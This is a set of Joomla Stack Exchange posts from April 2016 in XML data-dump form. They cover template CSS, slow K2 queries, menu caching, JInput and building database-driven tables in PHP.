  <row Id="16155" PostTypeId="2" ParentId="16027" CreationDate="2016-04-14T07:53:14.627" Score="1" Body="&lt;p&gt;Finally I added this code near the beginning of my index.php file (located in my template folder).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$stylelink = '&amp;lt;!--[if lte IE 8]&amp;gt;' .&quot;\n&quot;;&#xA;$stylelink .= '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;linkOfTheCSSFile/ie7.css&quot; type=&quot;text/css&quot;/&amp;gt;' .&quot;\n&quot;;&#xA;$stylelink .= '&amp;lt;![endif]--&amp;gt;' .&quot;\n&quot;;&#xA;&#xA;$doc-&amp;gt;addCustomTag($stylelink);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works great for me.&lt;/p&gt;&#xA;" OwnerUserId="8180" LastActivityDate="2016-04-14T07:53:14.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16156" PostTypeId="2" ParentId="16154" CreationDate="2016-04-14T08:01:23.720" Score="3" Body="&lt;p&gt;My initial comment about not being able to get the version from an external website is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then went on to write a script which does exactly this which I added as an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The online tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomjunk.co.uk/extras-page/joomla-version-detect.html&quot; rel=&quot;nofollow&quot;&gt;https://joomjunk.co.uk/extras-page/joomla-version-detect.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/C-Lodder/joomla-version-detect&quot; rel=&quot;nofollow&quot;&gt;https://github.com/C-Lodder/joomla-version-detect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML, JS and CSS file will not provide the Joomla version. You have to access an XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some servers block access to the &lt;code&gt;manifest.xml&lt;/code&gt; file to prevent gaining information such as the version, which I why I added a fallback, which gets the version of TinyMCE, which I then used to detect the Joomla version&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-15T07:44:46.240" LastActivityDate="2016-04-15T07:44:46.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16159" PostTypeId="1" AcceptedAnswerId="16170" CreationDate="2016-04-14T10:41:42.163" Score="0" ViewCount="530" Body="&lt;p&gt;Maybe someone can help me with this issue.&#xA;My site has a slow query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT i.*, g.title AS groupname, c.name AS category, v.name AS author, w.name as moderator, u.name AS editor &#xA;FROM p38xt_k2_items as i &#xA;LEFT JOIN p38xt_k2_categories AS c ON c.id = i.catid &#xA;LEFT JOIN p38xt_viewlevels AS g ON g.id = i.access &#xA;LEFT JOIN p38xt_users AS u ON u.id = i.checked_out &#xA;LEFT JOIN p38xt_users AS v ON v.id = i.created_by &#xA;LEFT JOIN p38xt_users AS w ON w.id = i.modified_by &#xA;WHERE i.trash=0 ORDER BY i.id DESC LIMIT 0, 50;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have checked every module that does k2 feeds, but was unable to find the 50 limit.&#xA;I also opened all .php of the /modules/* but even there I could not find: &lt;code&gt;SELECT DISTINCT i.*, g.title&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone know were this query might be generated?!&#xA;Is there any Joomla Extension that can track the queries executed from the modules?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&#xA;The issue of this problem was the K2 multicategory plugin that I was using on the site!&lt;/p&gt;&#xA;" OwnerUserId="8240" LastEditorUserId="8240" LastEditDate="2017-03-06T14:32:19.110" LastActivityDate="2017-03-06T14:32:19.110" Title="Slow query issue!" Tags="|joomla-3.x|mysql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16161" PostTypeId="2" ParentId="16159" CreationDate="2016-04-14T11:19:32.647" Score="0" Body="&lt;p&gt;Use EXPLAIN and check which column have more data and taking time and which field require indexing and then apply it and check speed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXPLAIN DISTINCT i.*, g.title AS groupname, c.name AS category, v.name AS author, w.name as moderator, u.name AS editor &#xA;FROM p38xt_k2_items as i &#xA;LEFT JOIN p38xt_k2_categories AS c ON c.id = i.catid &#xA;LEFT JOIN p38xt_viewlevels AS g ON g.id = i.access &#xA;LEFT JOIN p38xt_users AS u ON u.id = i.checked_out &#xA;LEFT JOIN p38xt_users AS v ON v.id = i.created_by &#xA;LEFT JOIN p38xt_users AS w ON w.id = i.modified_by &#xA;WHERE i.trash=0 ORDER BY i.id DESC LIMIT 0, 50;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7217" LastActivityDate="2016-04-14T11:19:32.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16163" PostTypeId="2" ParentId="16116" CreationDate="2016-04-14T12:58:14.643" Score="1" Body="&lt;p&gt;The &lt;em&gt;Carousel Banner&lt;/em&gt; module requires fixed widths in order to work properly, as the comment in the CSS file explains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.jcarousel-item {&#xA;    float: left;&#xA;    list-style: none;&#xA;    /* We set the width/height explicitly. No width/height causes infinite loops. */&#xA;    width: 454px;&#xA;    height:auto;&#xA;    overflow: hidden;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;width: 454px;&lt;/code&gt; value is the default value, but this can be overridden for each module in the module settings, and will be added as inline style:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/V8U0R.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V8U0R.jpg&quot; alt=&quot;Carousel Banner settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This value is probably set to &lt;code&gt;243&lt;/code&gt; in all your modules, so to solve this you have to modify each module with a value that works with your template layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this will cause problems with your template on small screens if you're using responsive design, unless you find a way around (hide the banners on small screens or change the width using jQuery).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-14T12:58:14.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16164" PostTypeId="2" ParentId="16150" CreationDate="2016-04-14T16:24:47.920" Score="1" Body="&lt;p&gt;You need to go to the Administrator panel -&gt; Menus -&gt; Main Menu -&gt; go to the tab Blog Layout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and find there Article Order - Oldest first, or setup other settings would you like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q8OAy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q8OAy.png&quot; alt=&quot;joomla&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your admin link will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http: //your-site.com/administrator/index.php?option=com_menus&amp;amp;view=item&amp;amp;layout=edit&amp;amp;id=101&lt;/p&gt;&#xA;" OwnerUserId="8243" LastActivityDate="2016-04-14T16:24:47.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16168" PostTypeId="2" ParentId="15876" CreationDate="2016-04-14T18:17:46.847" Score="2" Body="&lt;p&gt;many developers including me use postflight to finalize installation, such as put my update server into database and update download id and other stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, i will try to display a whole &quot;html template&quot; with installation complete message + few buttons for creating basic module by one click etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So technically, a postflight method is not for installation, it's for cleaning and other stuff which can be skipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will advice you a lil' bit, not many people will like redirect automatically after installation, but decision is on your shoulders ; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers! &lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2016-04-14T18:17:46.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16169" PostTypeId="2" ParentId="16034" CreationDate="2016-04-15T03:39:46.157" Score="1" Body="&lt;p&gt;I use Direct Alias Pro.  It's $24, works like a charm and is lightweight without all the other random features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://alterbrains.com/joomla-extensions/seo/direct-alias-pro&quot; rel=&quot;nofollow&quot;&gt;https://alterbrains.com/joomla-extensions/seo/direct-alias-pro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-04-15T03:39:46.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16170" PostTypeId="2" ParentId="16159" CreationDate="2016-04-15T07:33:18.340" Score="0" Body="&lt;p&gt;Enable the &lt;strong&gt;system debug&lt;/strong&gt; in Global Configuration/System.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a page using k2 and in the &lt;strong&gt;Joomla! Debug Console&lt;/strong&gt; under &lt;strong&gt;Database Queries&lt;/strong&gt; you will find every query executed on that page with execution time, used memory and a &lt;strong&gt;Call Stack&lt;/strong&gt; that identifies every file involved.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also change allowed user groups and other options of &lt;strong&gt;System - Debug plugin&lt;/strong&gt; under Extensions &gt; Plugin to customize the debug console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: after some research the query was actually executed in backend area by latest k2 items module.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="3585" LastEditDate="2016-04-15T15:09:35.180" LastActivityDate="2016-04-15T15:09:35.180" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16172" PostTypeId="1" CreationDate="2016-04-15T10:07:22.290" Score="2" ViewCount="75" Body="&lt;p&gt;I'm currently using Joomla! 3.4.8 for my multi-language site, for the member access area I've created menu links of type &quot;connexion&quot; for each language with associations between them.&#xA;My problem here is, when i switch between the languages the user logs out and i need to log in in each time, what might be the problem here? what am i doing wrong?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7664" LastEditorUserId="7664" LastEditDate="2016-04-15T10:17:12.933" LastActivityDate="2018-09-11T15:01:49.487" Title="Account logs out when i change the language of the site" Tags="|joomla-3.x|user|language|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16174" PostTypeId="1" CreationDate="2016-04-15T13:14:52.663" Score="1" ViewCount="230" Body="&lt;p&gt;I added a new item to my main menu but it doesn't show up on the frontend. I tried removing items as a test but that didn't work either. I cleared the expired cache and cache but the changes still aren't showing up. Any suggestions? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8249" LastActivityDate="2016-04-17T02:46:29.500" Title="My Main Menu won't update when I add or remove items from it" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16177" PostTypeId="2" ParentId="16174" CreationDate="2016-04-16T02:43:27.023" Score="1" Body="&lt;p&gt;Try going to your menu item in the backend and clicking the button in the toolbar that says Rebuild Menu. Sounds like something went wonky in the menu table of the database.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-04-16T02:43:27.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16178" PostTypeId="1" CreationDate="2016-04-16T06:47:40.427" Score="4" ViewCount="1543" Body="&lt;p&gt;Got&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An error has occurred. 0 JForm::validateField() rule &lt;code&gt;number&lt;/code&gt; missing.  Return to Control Panel&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;while tying to change email id and Name from mail settings in joomla's  Global Configuration&gt;Server&#xA;how to fix this problem? &#xA;Ned help&lt;/p&gt;&#xA;" OwnerUserId="8246" LastActivityDate="2018-12-02T07:02:45.580" Title="Joomla An error has occurred. 0 JForm::validateField() rule `number` missing. Return to Control Panel" Tags="|joomla-3.4|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16179" PostTypeId="5" CreationDate="2016-04-16T12:45:54.647" Score="0" Body="&lt;h2&gt;Joomla 3.5.x&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For question regarding Joomla 3.5.x of the Content Management System only.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Version Numbering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla follows a three level numerical convention where the levels are defined by the software change significance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[major].[minor].[patch]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 3 levels are defined as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An increment in the major version identifier indicates a break in&#xA;backward compatibility.&lt;/li&gt;&#xA;&lt;li&gt;An increment in the minor version identifier indicates the addition of new features or a significant change to existing features.&lt;/li&gt;&#xA;&lt;li&gt;An increment in the patch version identifier indicates that bugs have been fixed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.5.0 was released on March 21, 2016.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Known Issues&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;IMPORTANT! Updating from 3.4.x to 3.5.x cannot be done by the extension manager. You have to update via the Joomla! Update component or by manual action as indicated in the &lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Important changes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Download system &amp;amp; environment information:&lt;/strong&gt; gives users the option to download system/environment information for support purposes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ability to add a user CSS file to Protostar:&lt;/strong&gt; currently it is impossible to use a &lt;code&gt;custom.css&lt;/code&gt; file when using the Protostar template. This update adds a check to see if the file &lt;code&gt;user.css&lt;/code&gt; exists and loads the file to allow for user customisation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Added site and admin links to module user:&lt;/strong&gt; adds switches to the &lt;code&gt;mod_status&lt;/code&gt; module to show/hide links to the front-end and back-end of the site.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Article counts:&lt;/strong&gt; a set of updates that allows the visual presentation of published, unpublished and trashed articles in the Category Manager for articles, banners, contacts and newsfeeds.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Random category blog and list order:&lt;/strong&gt; this update answers a common user request to add a random ordering option for articles in the blog category and category list view.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Editor Buttons added to the Toolbar:&lt;/strong&gt; You no longer need to scroll down the page to find the &lt;kbd&gt;readmore&lt;/kbd&gt; or &lt;kbd&gt;insert image&lt;/kbd&gt; buttons. Editor extension buttons that used to be placed below the text area can now be found in the toolbar where they belong.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Easily Insert Modules in Articles:&lt;/strong&gt; allows users to easily add a module into an article with a button directly on the editor toolbar. Users don’t need to learn any syntax or remember the module details as the user interface does it for them.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Drag and Drop Images:&lt;/strong&gt; Adding an image is now as easy as dragging and dropping it from your computer directly into the content. This works anywhere that you are using the default TinyMCE WYSIWYG editor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a full list of features visit the &lt;a href=&quot;https://github.com/joomla/joomla-cms/pulls?q=is%3Apr%20milestone%3A%22Joomla%21%203.5.0%22%20is%3Aclosed%20label%3A%22New%20Feature%22&quot; rel=&quot;nofollow&quot;&gt;GitHub Repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Getting Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The latest version of Joomla can be downloaded from &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/download.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Installation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla can be installed on any host with the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow&quot;&gt;minimum system requirements&lt;/a&gt;, or on a local computer using a web server like &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot; rel=&quot;nofollow&quot;&gt;XAMPP, WAMP, LAMP, MAMP etc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions on how to install Joomla can be found at &lt;a href=&quot;http://docs.joomla.org/Installing_Joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla! Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-04-16T18:35:18.927" LastActivityDate="2016-04-16T18:35:18.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16180" PostTypeId="4" CreationDate="2016-04-16T12:45:54.647" Score="0" Body="For question regarding Joomla 3.5.x of the Content Management System only. " OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-04-16T18:35:25.863" LastActivityDate="2016-04-16T18:35:25.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16183" PostTypeId="1" AcceptedAnswerId="16184" CreationDate="2016-04-16T15:58:59.703" Score="2" ViewCount="7534" Body="&lt;p&gt;How can I run a &lt;code&gt;MySQL&lt;/code&gt; query from the &lt;code&gt;onclick&lt;/code&gt; event of an &lt;code&gt;HTML&lt;/code&gt; button on my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if my button is created like so, how could I use this to run a &lt;code&gt;MySQL&lt;/code&gt; query titled AddInfo&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;button type=&quot;button&quot;&amp;gt;Run A SQL Stored Procedure&amp;lt;/button&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8258" LastActivityDate="2016-04-17T05:10:02.227" Title="Run MySQL Query From Button Click" Tags="|joomla-3.x|javascript|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16184" PostTypeId="2" ParentId="16183" CreationDate="2016-04-16T17:48:57.703" Score="2" Body="&lt;p&gt;You need &lt;strong&gt;PHP&lt;/strong&gt; for that. Here's an example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;form action='' method='POST'&amp;gt;&#xA;&amp;lt;input type='submit' name='submit' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['submit'])){&#xA;//execute mysql query&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer&lt;/a&gt; to include &lt;strong&gt;PHP&lt;/strong&gt; scripts inside a custom HTML module.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT :&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;How to use Sourcerer ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After the plugin is installed, a button (&lt;strong&gt;CODE&lt;/strong&gt;) is added below the&#xA;&lt;strong&gt;WYSIWYG&lt;/strong&gt; editor :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8okhm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8okhm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clicking on &lt;strong&gt;Code&lt;/strong&gt; button opens a pop-up, enter your code between &#xA;&lt;strong&gt;{source}&lt;/strong&gt; and &lt;strong&gt;{/source}&lt;/strong&gt; tags like this:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vasbL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vasbL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hit the green &lt;strong&gt;Insert button&lt;/strong&gt; to add this code to your Article or&#xA;Custom HTML module :)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2016-04-17T05:10:02.227" LastActivityDate="2016-04-17T05:10:02.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16186" PostTypeId="1" CreationDate="2016-04-16T20:02:21.390" Score="5" ViewCount="317" Body="&lt;p&gt;How can I do the below using Joomla API &lt;code&gt;JFactory::getApplication()-&amp;gt;input;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset($_GET[&quot;variable1&quot;]); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-04-17T21:20:13.620" Title="Equivalent of unset using jinput" Tags="|joomla-3.x|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16187" PostTypeId="2" ParentId="9335" CreationDate="2016-04-17T02:25:46.687" Score="1" Body="&lt;p&gt;It all lies in your php.ini file. When you have shared hosting it is adjusted properly..on VPS it is your duty to change settings accordingly.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-04-17T02:25:46.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16188" PostTypeId="2" ParentId="16174" CreationDate="2016-04-17T02:46:29.500" Score="0" Body="&lt;p&gt;Turn system cache off in global settings.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-04-17T02:46:29.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16189" PostTypeId="2" ParentId="2535" CreationDate="2016-04-17T13:40:22.407" Score="0" Body="&lt;p&gt;I think this exactly what you looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To override (&lt;strong&gt;not overwrite&lt;/strong&gt;) standard bootstrap css and/or js with your template just put those files to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/templates/YOUR_TEMPLATE/css/jui/bootstrap.min.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/templates/YOUR_TEMPLATE/js/jui/bootstrap.min.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by doing this whenever anybody(any extension) calls&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;//Add JavaScript Frameworks&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JHtml::_('bootstrap.framework');&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;//Add Stylesheets&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JHtmlBootstrap::loadCss();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your custom template files will be loaded.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-04-17T13:40:22.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16190" PostTypeId="2" ParentId="10422" CreationDate="2016-04-17T13:45:49.060" Score="1" Body="&lt;p&gt;I'd suggest you to use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.header-inner .site-title, &#xA;.header-inner .site-description {&#xA;    text-align: center;&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it would allow you avoid both situations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Title is bigger than description&lt;/li&gt;&#xA;&lt;li&gt;Title is smaller than description&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-04-17T13:45:49.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16191" PostTypeId="1" AcceptedAnswerId="16193" CreationDate="2016-04-17T15:47:10.080" Score="4" ViewCount="427" Body="&lt;p&gt;I come from a &lt;code&gt;.NET&lt;/code&gt; background where you can create grids with headers and data in columns/rows to easily display your data.  Is there a Joomla Extension that can do the same?  I want to query &lt;code&gt;MySQL&lt;/code&gt; and have the results from the query returned to the page in a format similar to the below&#xA;(varying columns tho, not just 3 could be more or less)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Name --- ID --- Age&lt;br&gt;&#xA;  A --- 1 ---- 12&lt;br&gt;&#xA;  B --- 2 ---- 13&lt;br&gt;&#xA;  C --- 3 ---- 22&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8258" LastActivityDate="2016-04-17T23:49:46.827" Title="Create Joomla Datagrid" Tags="|joomla-3.x|extensions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16193" PostTypeId="2" ParentId="16191" CreationDate="2016-04-17T17:54:33.340" Score="3" Body="&lt;p&gt;To query the database, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'name', 'age')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__table')); &#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$results&lt;/code&gt; is now your variable that contains an object of results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you want to get all data from all columns, then replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'name', 'age')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(array('*'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can then add a &lt;code&gt;foreach&lt;/code&gt; loop and construct your table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Id&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Age&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php &#xA;        foreach ($results as $row)&#xA;        {&#xA;            echo '&amp;lt;tr&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;name . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;id . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;age . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;    ?&amp;gt;  &#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-17T17:54:33.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
